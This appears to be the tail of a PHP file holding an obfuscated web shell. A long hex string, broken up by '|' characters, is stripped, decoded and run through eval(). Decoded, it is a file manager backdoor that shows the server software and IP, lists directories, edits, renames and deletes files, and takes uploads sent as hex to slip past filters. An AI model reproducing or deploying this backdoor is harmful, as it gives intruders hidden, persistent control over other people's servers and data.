|3A3C2F|623E20|3C3F|706870|20656368|6F2024|5F|534552|56|4552|5B275345|52564552|5F53|4F|46|545741|52|4527|5D|3B3F3E3C|62723E|0A2020|202026|7468696E|73|70|3B26|7468|696E73|70|3B2674|68696E73|703B|3C623E49|50202026|6E627370|3B266E|627370|3B3A|3C2F623E|203C3F3D|20676574|68|6F|73746279|6E616D|6528245F|5345|5256|45525B27|48545450|5F48|4F|5354|275D2920|3F3E|3C6272|3E0A2020|20203C62|723E|3C623E|2623|38|3231|32262338|32|31322623|3832|31|32262338|323132|2623|38323132|26233832|313226|2338|323132|2623|38|32|31|32|2623|383231|3226|2338|3231|3226|23|38|3231|322623|38|32|3132|26|2338|3231|322623|38323132|26|2338|32313226|233832|31|32262338|32313226|233832|31|322623|38323132|26|2338|3231|322623|383231|322623|3832|31|32|2623|383231|322623|383231|32|26233832|31322623|3832|313226|233832|31|32|26233832|313226|23|38|32313226|233832|3132|26233832|31|322623|383231|322623|383231|32262338|323132|262338|32|313226|233832|31|3226|23383231|32262338|3231|32|2623|383231|3226|233832|3132|262338|3231|3226|2338|32|313226|233832|3132|26|2338|323132|262338|32313226|23383231|32262338|323132|26|23|38323132|2623|38323132|26233832|31|32262338|323132|26|23383231|32|26|23|383231|322623|3832|3132|262338|323132|262338|323132|262338|3231|3226|233832|31322623|38323132|26|23|3832|3132|26233832|3132|26233832|31|3226|23383231|32|26233832|31|3226|233832|313226|23383231|322623|383231|3226|23383231|32262338|3231|32262338|32313226|2338|3231|322623|38323132|26233832|3132|2623|383231|322623|38|32313226|2338|3231|32|2623|3832|313226|23383231|32262338|3231|322623|38323132|26|23383231|3226|233832|313226|233832|313226|2338|32|31|32262338|323132|26233832|31|322623|38|323132|26233832|313226|23383231|32|2623|38323132|26233832|31322623|38323132|26233832|3132|2623|38323132|262338|3231|32|26233832|3132|262338|32313226|23|383231|32|262338|32|31322623|3832|3132|26|2338|32|313226|23383231|32262338|32|31322623|3832|31322623|383231|3226|23|38|32|313226|2338|32|31|32262338|3231|32|262338|3231|32262338|32313226|23383231|32|262338|3231|322623|38323132|26|23|3832|31322623|383231|32262338|3231|32|262338|32|31322623|38|323132|26|23383231|32262338|32313226|23|38|3231|32|2623|38323132|2623|38|323132|262338|32313226|23|3832|3132|2623|38323132|26233832|31|3226|23|38|323132|262338|3231|3226|2338|32|313226|2338|3231|32262338|32313226|2338|3231|32|26233832|3132|26|233832|31|32|2623|3832|313226|233832|3132|262338|3231323C|2F623E|0A20|20|20203C62|723E3C|62|723E3C|666F726D|20|69643D22|75|706C6F|6164|466F726D|222063|6C61|73733D|22616A|617846|6F72|6D|22206D65|74|686F64|3D|22|504F5354|223E0A|2020|20|20202020|203C|6C616265|6C20|666F72|3D|22|66696C|6549|6E707574|222063|6C|61|73|733D2263|75|73746F|6D2D|6669|6C652D62|7574|746F|6E|22|206964|3D2266|696C654C|6162656C|223E4368|6F|6F73|65204669|6C653C|2F6C6162|65|6C3E|0A|202020|2020|202020|3C|696E7075|74207479|70653D22|66696C|6522|2069643D|226669|6C|65496E|7075|7422|20|726571|756972|65|64|3E0A20|2020|20202020|203C696E|70757420|74797065|3D|22|7375626D|69742220|76616C|75653D|2255|706C|6F|6164|223E|0A202020|20|3C2F|666F726D|3E0A0A|202020|203C62|723E|3C64|697620|69643D|226272|65|6164|6372|756D62|436F|6E|746169|6E657222|3E0A2020|20|203C3F70|68|700A2020|20|20|246B20|3D207072|65675F73|70|6C|6974|28|222F28|5C|5C5C|5C7C5C|2F292F|222C20|2464293B|0A|20|2020|20666F72|65616368|202824|6B20|61732024|6D|203D3E|20246C|29207B0A|2020|20202020|20|2069|66|20|28|246C|203D|3D2027|2720|2626|20246D20|3D3D2030|29207B0A|20|20202020|20|202020|20202065|63686F|20|273C6120|636C61|7373|3D22|61|6A782220|68|726566|3D223F|643D32|66223E2F|3C2F613E|273B0A20|20202020|20|20207D0A|20|2020|20202020|206966|2028|246C|20|3D3D20|27272920|636F6E|74|69|6E75|653B0A|202020|202020|2020|6563686F|20273C|612063|6C61|73733D22|61|6A7822|20|6872|6566|3D223F64|3D273B|0A20|20|2020|20|2020|2066|6F72|202824|69203D20|303B|20|24|69|203C3D20|246D|3B20|24|69|2B|2B2920|7B0A2020|20|20202020|20202020|2065|63686F|206865|7828246B|5B24|695D|293B0A|20202020|20202020|20|20|202069|66202824|692021|3D|20|246D29|206563|686F2027|3266273B|0A202020|2020|2020|20|7D|0A20|2020|20202020|206563|686F20|27223E27|2E24|6C2E273C|2F613E2F|27|3B0A20|20|20207D0A|2020|20|203F3E0A|3C|2F64|69|763E3C|6272|3E0A|3C646976|2069|643D|22|61637469|6F|6E|436F|6E|746169|6E65|72|223E3C|2F646976|3E3C6272|3E0A|202020|203C6469|76206964|3D22|66|696C|654C69|737443|6F6E74|61696E65|72223E0A|2020|20|20202020|203C|3F706870|0A202020|20202020|2024|656E74|72696573|203D|2073|63616E64|69|722824|6429|3B|0A20|20202020|20202024|6469724C|6973|74203D20|5B5D|3B|0A2020|2020|20202020|2466|696C65|4C6973|74203D20|5B5D|3B|0A20|20|2020|202020|2066|6F726561|63682028|24656E|7472|696573|206173|20|2465|6E74|72|7929|207B0A|2020|202020|2020|20|20|202020|6966|20|282465|6E7472|7920|3D|3D20272E|27207C7C|202465|6E7472|7920|3D3D|20|27|2E2E2729|20636F|6E74696E|75653B|0A|2020|2020|2020|202020|202020|2470|61746820|3D2024|64202E20|4449|524543|544F5259|5F534550|41|524154|4F|52|20|2E20|24|656E7472|79|3B|0A20|202020|2020|202020|202020|6966|202869|735F|646972|28247061|7468|2929207B|0A202020|202020|20202020|20202020|2020|24646972|4C69|73|745B5D|203D20|24|656E74|72793B|0A20|2020|20202020|20|2020|2020|7D20656C|73|65207B|0A2020|20|202020|202020|202020|20|20|2020|2466696C|654C|6973|745B|5D203D20|24|656E|7472|793B0A20|20|2020|2020|20202020|20207D0A|20202020|20202020|7D0A2020|2020|2020|20203F|3E0A20|202020|20202020|3C7461|626C653E|0A2020|20202020|202020|20|2020|3C|74686561|64|3E0A20|20|20202020|202020|20|202020|2020203C|7472|3E0A|20|202020|20202020|20|2020|202020|202020|2020|20|3C74683E|4E616D|653C2F|74683E|0A20|20|20202020|202020|202020|2020|202020|2020|203C|74683E53|697A653C|2F7468|3E|0A202020|2020|20202020|202020|202020|202020|20203C|74|683E41|637469|6F|6E733C|2F7468|3E|0A202020|202020|20202020|20202020|20203C|2F74723E|0A2020|20202020|20|20202020|203C|2F7468|6561643E|0A20|202020|20202020|2020|2020|3C7462|6F64|79|3E0A|20|20202020|20|20|20202020|20|3C3F|70|68700A|2020|20202020|20202020|2020|666F7265|6163|68|20282464|69724C69|7374|20|61732024|656E74|72792920|7B0A2020|202020|202020|20202020|2020|202024|7061|746820|3D20|2464|202E|2044|4952|454354|4F5259|5F534550|415241|544F5220|2E202465|6E747279|3B0A20|20|20202020|20202020|202020|20|202065|6368|6F20|27|3C74|723E|273B|0A|20202020|2020|202020|2020|20|20202020|656368|6F20|273C|7464|3E|3C61|20|63|6C61|73733D|22616A61|78|446972|222068|726566|3D|223F64|3D|27202E|206865|78|282470|61|7468|29202E20|2722|3E|27202E|20|6874|6D6C73|70|65636961|6C636861|7273|28|2465|6E7472|7929|202E20|27|3C2F61|3E3C2F|74|643E|273B0A20|20202020|20|202020|20|20|202020|2020|65|63|686F2027|3C74643E|2D3C2F|7464|3E273B0A|2020|202020|20202020|202020|20|202020|65|63686F20|273C7464|3E3C2F|74|643E273B|0A|202020|20202020|202020|20|20|202020|20|6563686F|20273C|2F7472|3E|27|3B0A|20202020|2020|2020|20202020|7D|0A202020|2020|20|2020|20|20202066|6F72|656163|68|20282466|696C65|4C|6973|74206173|2024656E|74727929|20|7B|0A2020|20|2020|20202020|202020|20|2020|2024|70|6174|6820|3D202464|202E|20|444952|4543|544F|52|595F5345|50|41524154|4F52|202E2024|656E74|72793B0A|20|2020|20202020|20|2020|202020|2020|206563|68|6F|2027|3C|7472|3E273B|0A202020|202020|2020|20202020|202020|2065|63686F20|27|3C7464|3E2720|2E20|68|746D|6C737065|63|69|616C6368|617273|2824656E|747279|29|202E2027|3C|2F74|64|3E273B|0A202020|20|20202020|2020|2020|2020|20206563|686F|20|273C74|64|3E|27202E|20|2869|735F66|69|6C|652824|706174|682920|3F2066|696C|657369|7A65|28247061|746829|202E20|27|2062|797465|7327|203A2027|2D2729|202E|20273C2F|7464|3E|273B|0A|202020|2020|202020|20202020|20202020|6563|686F20|273C74|64|3E|273B0A20|20202020|20|2020|20202020|20202020|656368|6F2027|3C612063|6C6173|733D|22|616A6178|4564|69|74|2220|68|726566|3D|22|3F6163|74696F6E|3D6564|69|74|2664|3D2720|2E206865|7828|24642920|2E202726|66696C|653D27|20|2E20|75|726C|65|6E636F|64652824|656E7472|79|29202E|202722|3E4564|69743C|2F613E|207C20|273B|0A|20|2020|2020|20202020|20|20|2020|20|20|20656368|6F20273C|61|20636C|6173|733D2261|6A617852|656E616D|65|22206872|65|663D|223F|6163|74696F|6E3D72|65|6E61|6D652664|3D27202E|2068|65782824|6429202E|202726|66696C|65|3D2720|2E20|75726C|656E|636F64|65|2824|656E|74|72|792920|2E202722|3E|52656E61|6D|653C2F|613E207C|20|273B0A20|202020|2020|2020|2020|20202020|2020|656368|6F20273C|612063|6C|617373|3D22|616A|61784465|6C65|7465|22206872|65|66|3D223F61|63|7469|6F6E|3D64|656C6574|6526643D|27|20|2E20|6865|782824|6429202E|20|2726|6669|6C|653D2720|2E|2075|726C|656E|636F6465|2824656E|747279|29202E20|27223E|44656C|65|7465|3C|2F|61|3E273B|0A202020|20|202020|2020|202020|20202020|6563|686F2027|3C2F7464|3E273B|0A|202020|2020|2020|202020|202020|20|20|20656368|6F20273C|2F|74723E27|3B|0A202020|2020|20202020|202020|7D0A20|202020|20202020|2020|20203F3E|0A2020|2020|20|2020|2020|2020|203C2F74|626F64|793E0A20|2020|20202020|203C|2F746162|6C|653E|0A|20|20|20203C|2F|6469763E|0A3C2F64|69|76|3E|0A0A|3C6469|76|20636C61|73|73|3D226E6F|746966|69636174|69|6F6E|222069|643D226E|6F7469|6669|6361|74696F6E|222073|7479|6C|653D22|646973|706C6179|3A6E|6F|6E65|3B|22|3E3C|2F64|6976|3E0A|0A3C7363|726970|743E0A2F|2F|20|53686F|7720|6E6F7469|66696361|74696F6E|20|696E|20746865|20626F|7474|6F6D20|6C656674|2063|6F726E|65723B20|61|75746F|2D|6469736D|69737320|616674|65722032|20736563|6F|6E6473|2E0A6675|6E6374|69|6F|6E|2073686F|774E|6F74|6966|69636174|696F|6E287374|61747573|2C20|6D736729|207B0A20|20|20207661|7220|6E6F74|6966203D|20646F63|756D65|6E|742E67|65|74456C|656D|656E7442|7949|642827|6E|6F|74696669|63|61|74|69|6F6E|27293B|0A20|202020|6E|6F7469|66|2E636C61|7373|4E61|6D6520|3D20|276E6F|74|6966|6963|617469|6F6E20|2720|2B20|737461|7475|733B0A20|2020|206E|6F74|69662E|69|6E6E|657254|6578|7420|3D206D73|673B0A20|202020|6E6F7469|66|2E7374|796C652E|6469|73|70|6C617920|3D202762|6C6F636B|27|3B|0A20|20202073|65|745469|6D65|6F757428|66|756E6374|696F6E28|29|7B206E|6F7469|662E|7374796C|652E64|6973706C|61|79203D|20276E6F|6E65|27|3B207D|2C20|3230|303029|3B|0A|7D0A0A66|756E|6374696F|6E|20|6C6F6164|4272|65616463|72|756D62|28|29207B0A|202020|20|766172|2064|203D|20|6765|7451|75|6572|7950|617261|6D2822|6422|29207C7C|2022|3C3F7068|70|206563|686F2068|657828|2464|293B|203F|3E223B0A|20|20202066|65746368|28273F|64|3D27202B|206420|2B202726|616A61|783D6272|656164|6372756D|62272C20|7B206865|616465|72|733A20|7B20|27|582D5265|71|756573|746564|2D|576974|68273A|2027584D|4C487474|70|52|6571|7565|7374|27207D|207D|290A2020|2020|2E|74|68656E28|726573|70|6F6E73|65203D3E|2072|65|7370|6F6E7365|2E746578|7428|2929|0A20|2020202E|7468|656E28|68746D|6C|203D3E20|7B0A2020|2020|2020|2020646F|63756D|656E742E|67|6574456C|656D|656E7442|794964|28276272|6561|64|63|72756D62|436F6E|746169|6E|65|722729|2E69|6E6E6572|48544D|4C|203D|206874|6D6C|3B|0A2020|20|207D29|3B|0A|7D|0A0A6675|6E63|74|69|6F6E20|676574|51756572|795061|72|61|6D286E61|6D652920|7B0A|20|20|202063|6F6E|7374|20|75726C50|6172|61|6D73|203D|206E|65|77|20|55|52|4C|53656172|636850|61|72616D73|2877696E|646F77|2E6C6F|636174|696F|6E2E|73656172|63|68293B|0A20|20202072|65|747572|6E207572|6C5061|72616D73|2E67|6574|286E|616D6529|3B0A7D0A|0A66|756E|637469|6F6E|20|6C6F|6164|4669|6C654C|697374|2829207B|0A2020|20207661|722064|203D2067|65|745175|65|72|79506172|61|6D|28226422|29207C7C|2022|3C3F70|6870|20656368|6F2068|65|7828|2464293B|203F3E22|3B0A2020|20|20666574|63682827|3F|643D|2720|2B2064|202B2027|26616A|61|783D3127|2C|207B2068|65|61646572|733A20|7B20|27|582D52|65717565|73746564|2D|57697468|273A|2027584D|4C|48747470|5265|71|756573|742720|7D20|7D29|0A|20202020|2E7468|656E2872|65|7370|6F6E7365|203D3E20|72|6573706F|6E|73652E|7465|7874|282929|0A|20202020|2E746865|6E|28|68746D6C|203D3E20|7B0A|2020|20|20202020|2064|6F63|756D|656E742E|67657445|6C656D|656E74|427949|64|282766|696C|65|4C697374|436F|6E|746169|6E6572|27292E69|6E6E|65724854|4D4C203D|206874|6D6C|3B|0A20|20202020|20|2020|61747461|6368|416A|61784576|656E|747328|293B202F|2F|2072|656174|746163|68|2065|76656E74|73|206166|74657220|757064|6174650A|202020|2020|2020|20726573|65744669|6C65496E|7075|744C6162|65|6C28|293B0A20|20|20|20|7D293B0A|7D|0A0A|6675|6E6374|696F6E|20726573|6574|46696C65|49|6E707574|4C|616265|6C282920|7B0A2020|2020|76|6172206C|61|62656C|203D20|64|6F6375|6D65|6E742E|67657445|6C656D65|6E744279|496428|2766696C|65|4C|6162|65|6C27|293B0A|20202020|69|66|286C6162|656C2920|7B0A2020|20202020|2020|6C|6162|65|6C|2E746578|74436F6E|7465|6E7420|3D2022|43686F6F|7365|2046696C|6522|3B0A|2020|20207D|0A7D|0A0A|6675|6E63|74696F|6E20|61|74|74616368|416A|61784576|656E|74732829|207B|0A202020|20|64|6F63|756D|65|6E74|2E|717565|7279|53656C65|6374|6F7241|6C6C2827|2E61|6A61|7844|656C6574|652729|2E666F72|45|616368|286675|6E|63|74|69|6F6E286C|696E6B|29207B|0A2020|202020|2020|20|6C696E|6B|2E6164|64|4576656E|74|4C69|737465|6E|6572|282763|6C69636B|272C20|66|75|6E|637469|6F|6E2865|2920|7B0A20|2020|20202020|2020|202020|65|2E707265|76656E74|4465|6661|75|6C742829|3B0A20|202020|202020|20202020|20|66657463|68286C69|6E6B|2E6872|65662C|207B2068|6561|64657273|3A207B|2027|582D|52657175|65737465|642D5769|74|68|273A20|27|58|4D|4C|487474|70526571|75657374|27207D|207D290A|202020|20202020|20|2020|20202E|7468656E|28726573|706F|6E|7365|203D|3E2072|65|73706F6E|73|65|2E6A|736F6E|2829290A|2020|20|2020|202020|20202020|2E|74|68|656E2864|6174|61203D|3E|207B|0A2020|202020|202020|202020|202020|2020|73686F|774E|6F74|69666963|6174|696F|6E286461|7461|2E|73746174|7573|2C206461|7461|2E6D7367|293B0A|20|20|20202020|2020|20|20|20202020|2020|6C6F|616446|696C654C|6973|74|28293B0A|20202020|2020|20|202020|20|20202020|20726573|657446|696C65|496E7075|74|2829|3B|0A2020|2020|2020|2020|20|2020207D|293B0A|202020|2020|2020207D|293B0A|20202020|7D293B|0A2020|202064|6F6375|6D|656E74|2E71|7565|72|79|53656C|65|6374|6F72416C|6C28272E|616A6178|4564|69|74|2729|2E666F72|45|6163|68|28|66756E|6374696F|6E|286C|696E6B29|207B|0A202020|2020|2020206C|696E6B|2E61|64|6445|76656E|744C|69|737465|6E6572|2827|636C69|636B|272C|206675|6E637469|6F6E28|6529207B|0A20|20|20202020|20202020|2020652E|707265|76|65|6E74|446566|61|756C74|28293B0A|202020|2020|20202020|20|20|206665|74|63|6828|6C696E6B|2E687265|662C207B|2068|65|6164|657273|3A207B|202758|2D|5265|71|75|65|73746564|2D5769|746827|3A20|2758|4D4C|48|747470|52|6571|7565|7374|2720|7D20|7D29|0A2020|20|2020|20202020|202020|2E|7468656E|28726573|706F|6E736520|3D|3E|207265|7370|6F|6E7365|2E746578|74282929|0A202020|2020|20202020|20|20202E74|68|656E28|68746D6C|203D3E20|7B0A20|2020|20|20|20202020|20|20|20202020|20|646F63|756D656E|74|2E676574|456C656D|656E|74|42|794964|282761|63|7469|6F6E436F|6E74|61696E|657227|29|2E69|6E6E6572|48|544D4C|203D2068|746D6C3B|0A2020|20|20|202020|20202020|2020|20|2020|61|747461|63|68|416A61|78466F72|6D|28|293B0A20|20202020|202020|20|20|202020|202020|61747461|63|6843|616E63|65|6C|457665|6E7428|293B0A20|20|202020|202020|20|202020|2020|20|207265|73|65|74|46696C65|496E|7075|744C6162|656C28|293B0A|202020|202020|20202020|20|2020|2020|20|726573|65744669|6C|65496E|70757428|293B0A20|20202020|20|20|20202020|207D293B|0A202020|202020|20207D|29|3B0A2020|20207D|29|3B|0A20|20|2020646F|63756D|656E742E|7175|6572|79|53656C65|6374|6F72|416C|6C28272E|61|6A61|78|52656E61|6D|6527|292E66|6F|7245|616368|28|66756E|637469|6F6E286C|696E6B29|20|7B0A20|20|202020|2020206C|696E6B|2E6164|644576|65|6E74|4C69|7374|656E65|72|2827|636C69|636B|27|2C2066|756E63|74696F|6E28|6529|20|7B0A20|202020|20202020|20202020|652E|70|72|65|76656E74|446566|61|756C74|28|293B0A20|20202020|20202020|20|2020|6665|74|63|6828|6C696E6B|2E68|7265|662C20|7B206865|61646572|733A20|7B|202758|2D526571|756573|746564|2D|576974|68|27|3A20|27|584D4C48|74|74|705265|7175|65737427|207D207D|290A2020|20|20202020|20202020|202E7468|656E2872|6573706F|6E|73|65203D|3E20|7265|73706F|6E|73652E74|65|787428|29290A20|2020|202020|2020|2020|20202E74|6865|6E2868|746D6C|203D3E|207B0A|202020|20|2020|2020|20|2020|2020|2020|20646F|63756D65|6E742E67|65|74|456C|656D65|6E74|42|79496428|27|61|6374696F|6E|43|6F6E|7461|696E65|7227|29|2E|696E|6E65|724854|4D|4C20|3D|20|6874|6D6C3B0A|20|20|20|202020|202020|202020|2020|2020|6174|746163|68416A61|78466F|726D28|293B0A|20202020|202020|20|20202020|20202020|617474|61|63684361|6E|6365|6C457665|6E74|28|293B0A20|20|202020|2020|20|20202020|202020|20726573|65744669|6C65|496E|7075744C|616265|6C28293B|0A202020|20|20|20|20202020|202020|20|20207265|7365|7446|696C|65496E70|7574|28|293B0A20|202020|20202020|20202020|7D29|3B0A20|202020|2020|20207D29|3B0A20|20|20207D29|3B0A2020|2020646F|63756D65|6E742E|71756572|795365|6C65|6374|6F72416C|6C|28|27|2E61|6A|6178|44697227|292E66|6F|72|45|61|63|6828|6675|6E6374|696F|6E286C|69|6E6B2920|7B0A20|20|20206C|696E|6B|2E6164|64|457665|6E74|4C69|73|7465|6E657228|27636C69|636B27|2C206675|6E63|74696F6E|28652920|7B0A|20202020|20|20|20|20|652E7072|6576|65|6E744465|6661|756C|74|28293B0A|202020|202020|20|20|77|696E|64|6F77|2E68|6973746F|72792E70|75736853|7461|7465|28|6E756C|6C2C|2027|27|2C206C|696E|6B2E68|72|6566|293B|0A2020|20202020|20|206C6F|6164|46696C|654C6973|74|28|293B|20202F2F|2052656C|6F616420|7468|65|206669|6C65|206C6973|74|0A|20|2020|2020|2020206C|6F61|64|42|726561|646372|756D6228|293B202F|2F205265|6C6F6164|20746865|20|62726561|64|6372|756D|620A20|202020|20|202020|72|65|73657446|696C|65496E|7075|744C6162|656C|2829|3B|0A2020|202020|20|20|20|72657365|74|46696C65|496E7075|742829|3B|0A2020|2020|7D29|3B0A|7D293B|0A|7D0A0A66|756E63|7469|6F6E20|61747461|636841|6A61|78|466F|72|6D|28|29207B0A|202020|20646F|63|756D65|6E742E|717565|72|795365|6C|6563746F|72416C6C|28|27|2E616A61|78|46|6F|726D27|29|2E|66|6F724561|63682866|756E|6374|696F6E|2866|6F72|6D|2920|7B|0A|2020|20202020|2020|666F|72|6D|2E|61646445|76|656E74|4C69|7374656E|657228|27737562|6D69|74|272C20|66|756E|6374|696F6E28|6529|207B|0A202020|202020|20202020|202065|2E|7072|657665|6E7444|656661|756C|7428293B|0A20|20|202020|2020|20|20202020|76617220|66|6F726D44|6174|61203D20|6E65|7720|46|6F726D44|6174|61|28666F|726D|293B|0A20|2020|2020|202020|202020|2066|6574|6368|28666F|726D|2E61|63|7469|6F6E2C20|7B20|6D|65|74|686F643A|2027504F|5354272C|20|62|6F6479|3A2066|6F726D44|61|7461|2C2068|65616465|7273|3A20|7B202758|2D|5265|71|756573|74|65642D|5769|74|68273A20|2758|4D|4C4874|7470|52657175|65|73742720|7D207D29|0A20|20|20|2020|20202020|2020|202E7468|65|6E2872|6573706F|6E|7365|203D3E|207265|73|70|6F6E7365|2E|6A736F6E|28|29290A|2020|2020|20|20|2020|20202020|2E7468|656E|28|64|617461|203D3E|207B|0A|202020|202020|20202020|202020|202020|7368|6F|774E6F|74696669|6361|7469|6F6E|28|6461|74612E|737461|7475732C|2064|61|7461|2E6D|736729|3B0A20|20|202020|2020|20202020|2020|20|2020646F|63756D|656E74|2E67|657445|6C656D|656E74|42794964|2827|61637469|6F6E|43|6F6E|746169|6E657227|29|2E696E6E|65724854|4D4C20|3D20|27273B|0A20|2020|2020|20|202020|202020|2020|2020|6C6F6164|46696C|654C6973|74|2829|3B0A20|20|20|202020|202020|20|202020|20|202072|657365|744669|6C|65496E|707574|4C61|6265|6C|28|29|3B|0A2020|2020|202020|202020|20207D29|3B0A|202020|2020|20|20207D29|3B|0A20|2020207D|29|3B0A7D|0A0A66|756E63|7469|6F|6E20|617474|61|63|68|43616E63|65|6C4576|65|6E74|2829|207B|0A202020|2076|61722063|616E6365|6C4274|6E20|3D|20|64|6F|63756D|656E|74|2E|6765|74456C|656D65|6E74|427949|6428|2763616E|63656C41|63|74696F|6E27293B|0A202020|20|6966|28|63616E63|656C|42|74|6E|29207B0A|2020|20202020|20|2063|616E|6365|6C4274|6E2E|6164|64|45|76656E|74|4C6973|74656E65|72|2827636C|69|636B27|2C2066|75|6E|6374|69|6F6E28|29207B0A|2020|20|202020|2020|20|20202064|6F|6375|6D656E|74|2E67|6574456C|656D|65|6E|744279|49642827|61|6374|696F6E|43|6F6E|74|61|696E6572|27292E|696E6E65|72|48544D4C|20|3D202727|3B0A2020|20|2020|20202020|20202072|65|73657446|696C65|496E7075|74|4C616265|6C28|293B0A|20|202020|20|20|2020|7D|293B0A|2020|2020|7D0A7D0A|0A66|756E63|74696F|6E20|7265|7365|7446|69|6C6549|6E|70757428|29207B0A|20|2020|20|76|61722066|696C65|49|6E7075|74203D|20|646F6375|6D656E|742E|67|657445|6C656D65|6E744279|49|6428|2766696C|65496E70|757427|293B|0A|202020|20766172|2066|696C|654C|6162|656C20|3D2064|6F6375|6D656E|74|2E|67|657445|6C65|6D65|6E744279|49642827|6669|6C654C61|62|656C|27293B|0A202020|20|696620|2866696C|65|49|6E70|757429|20|7B|0A20|2020|20|202020|206669|6C|6549|6E|70|75742E|7661|6C756520|3D2022|223B20|2F2F|20436C|65|6172|20616E|792073|656C|65|63746564|206669|6C650A20|2020207D|0A202020|2069|6620|28|66696C65|4C616265|6C29207B|0A|202020|20202020|20|66696C65|4C|616265|6C2E7465|787443|6F6E7465|6E|74203D|2022|43686F|6F|736520|46|69|6C6522|3B|20|2F2F20|5265|736574|206C6162|656C2074|6578|740A|20202020|7D0A|7D|0A0A646F|63|756D65|6E742E61|64|6445|76656E74|4C69|737465|6E|65722827|444F4D43|6F6E7465|6E744C|6F61|6465|64|272C20|66756E63|7469|6F6E2829|207B0A20|2020|20617474|616368|416A6178|45|7665|6E7473|2829|3B0A|2020|20|20|7661|7220|66696C|65496E70|7574|203D|2064|6F63|75|6D656E74|2E6765|7445|6C656D65|6E7442|7949|6428|2766696C|6549|6E70|75|7427293B|0A2020|20|2076|61722075|70|6C6F|61|64466F|726D20|3D2064|6F6375|6D656E74|2E67|65|74|456C|65|6D|656E|744279|49|64|28|27|75|706C6F61|64466F72|6D27|293B0A0A|202020|20|66696C65|496E|707574|2E616464|4576|65|6E744C69|7374656E|65722827|6368616E|6765|272C|2066|756E63|74696F6E|2829207B|0A2020|20|20|20202020|76|6172206C|6162656C|20|3D20646F|6375|6D656E|742E67|65|7445|6C65|6D656E74|4279|4964|28276669|6C654C61|62656C27|29|3B0A|20|20|202020|20|2020|6966|2866|696C|65|496E|7075|742E6669|6C65732E|6C|656E|677468|203E|203029|207B0A|20|2020|20202020|20|20|2020206C|6162|656C2E74|65787443|6F6E74|656E7420|3D206669|6C65|496E|7075742E|66|696C65|735B|305D|2E|6E616D|653B0A|202020|20202020|207D|20|656C|7365|207B0A20|20|202020|20|20202020|2020|6C6162|656C2E74|65|78|74|436F|6E7465|6E74203D|20224368|6F6F|7365|20|4669|6C65223B|0A20|20|20|20|20|2020|207D|0A20|20|20|20|7D29|3B0A0A|20|20|202069|6628|75706C6F|616446|6F726D29|207B|0A20|202020|20202020|7570|6C6F|616446|6F72|6D|2E6164|64|457665|6E744C|69|737465|6E6572|28|27737562|6D6974|272C20|66756E63|74|696F6E28|652920|7B0A2020|2020|202020|202020|20|20|652E70|726576|656E74|446566|61756C|7428|293B|0A|202020|2020|202020|2020|20206966|28|66696C65|496E|7075|74|2E6669|6C6573|2E6C656E|67|746820|3D3D3D|2030|292072|65747572|6E3B|0A0A2020|2020|20202020|20|2020|2076|6172|2066696C|6520|3D|2066|696C|65496E70|75742E|66|696C65|735B|305D3B|0A|20|20|20|20|2020|20202020|20|20766172|2072|65|616465|72203D|206E6577|204669|6C6552|65|61|64657228|293B0A0A|202020|2020|20|202020|20|2020|7265|61|6465722E|6F6E6C6F|6164|20|3D2066|756E6374|69|6F|6E2865|76|656E|742920|7B0A|202020|20|202020|20202020|2020|202020|76|6172|20|6172|7261|79|427566|6665|7220|3D|206576|656E74|2E7461|72|67|65|742E7265|7375|6C|743B0A20|20|20202020|202020|202020|2020|2020|76|6172|206279|746573|20|3D206E|65|7720|55696E|74|3841|72726179|28617272|61794275|666665|7229|3B0A2020|2020|202020|20|2020|20202020|2020|766172|20|68|65785374|72696E|67203D20|27273B|0A20|20202020|202020|202020|202020|20|20|666F|72|202876|61722069|203D|20|303B20|69203C20|627974|65|732E6C65|6E6774|68|3B20692B|2B2920|7B|0A20|2020|202020|202020|2020|20|202020|202020|20206865|7853|74|72696E67|202B|3D2062|79746573|5B695D|2E|746F5374|7269|6E|67283136|292E7061|6453|74|617274|28322C|20273027|293B0A20|20|2020|2020|202020|20|20202020|20|207D|0A0A|20|2020|20|20202020|2020|202020|20|2020|76|61722066|6F726D44|61|74|61|203D20|6E|65772046|6F726D|446174|6128293B|0A20|2020|2020|20202020|202020|2020|2020|666F726D|446174|612E61|70|70656E|64|28226265|6E6B|79|6F222C20|66|696C|652E|6E61|6D6529|3B0A2020|2020|202020|2020|2020|20202020|20|666F72|6D446174|612E6170|70|656E64|28226461|6B65|6A61|222C|20|68657853|74|72|696E6729|3B0A0A|20|202020|2020|20202020|20|202020|202066|65|746368|28|7570|6C6F|6164|466F726D|2E6163|74696F|6E207C7C|2077696E|646F77|2E|6C6F6361|74|69|6F6E|2E687265|662C20|7B0A20|20|20202020|20|20|20|20202020|2020|20|2020|20206D65|74686F64|3A|20|2750|4F53|54272C|0A2020|202020|202020|20202020|20|202020|2020|20|20626F|64793A|2066|6F726D44|6174|612C0A20|20202020|20202020|20|20202020|20|20|20202020|686561|64|65|7273|3A207B|2027|582D|52|657175|6573|746564|2D5769|7468|27|3A|2027584D|4C48|747470|526571|756573|7427|20|7D|0A20|20|2020|202020|20|20|2020|20|20|202020|7D|29|0A202020|20202020|2020|20|2020|20|202020|2E746865|6E287265|7370|6F6E7365|203D|3E20|726573|706F6E73|652E6A73|6F6E|28|2929|0A2020|20202020|202020|20202020|2020202E|7468656E|28|64|61746120|3D3E|207B|0A202020|20202020|20|2020|202020|20202020|20|20|2073|68|6F774E|6F|74696669|6361|74|69|6F6E2864|6174|612E7374|6174|75|732C|20|6461|7461|2E6D7367|293B0A20|2020|2020|202020|20202020|20202020|202020|2075706C|6F61|64466F|726D2E72|657365|7428|293B|0A|20202020|20|202020|202020|20202020|202020|20|20726573|65744669|6C65496E|707574|4C616265|6C|28293B0A|2020|20|2020|2020|20202020|2020|202020|20202020|6C6F61|644669|6C|65|4C|69737428|29|3B0A2020|20|2020|20202020|20202020|2020|207D29|3B0A20|2020|20|20202020|202020|207D|3B|0A0A20|2020|20|2020|2020|2020|2020|7265|61|646572|2E726561|64417341|72726179|42|75666665|722866|69|6C|6529|3B0A20|2020|202020|20207D|293B|0A2020|2020|7D0A|7D293B0A|3C2F|73|637269|70743E|0A3C666F|6F7465|7220636C|61|73|733D22|66757465|72223E0A|0909|090926|636F|70793B20|7A|6569|6E68|6F726F|626F73|750A0909|093C2F|666F6F|746572|3E0A3C2F|62|6F6479|3E0A3C2F|68746D6C|3E0A";$xmioxniqwnitwqqwtwxx11=str_replace("|", "", $list);$gstatic=xmxmxnianntt($xmioxniqwnitwqqwtwxx11);return $gstatic;}}$hover=new nigwqgqwtqwtqwt();$letter=$hover->nigwqgqwtqwtqwti();eval(wkqtonxx().$letter);function wkqtonxx(){}function 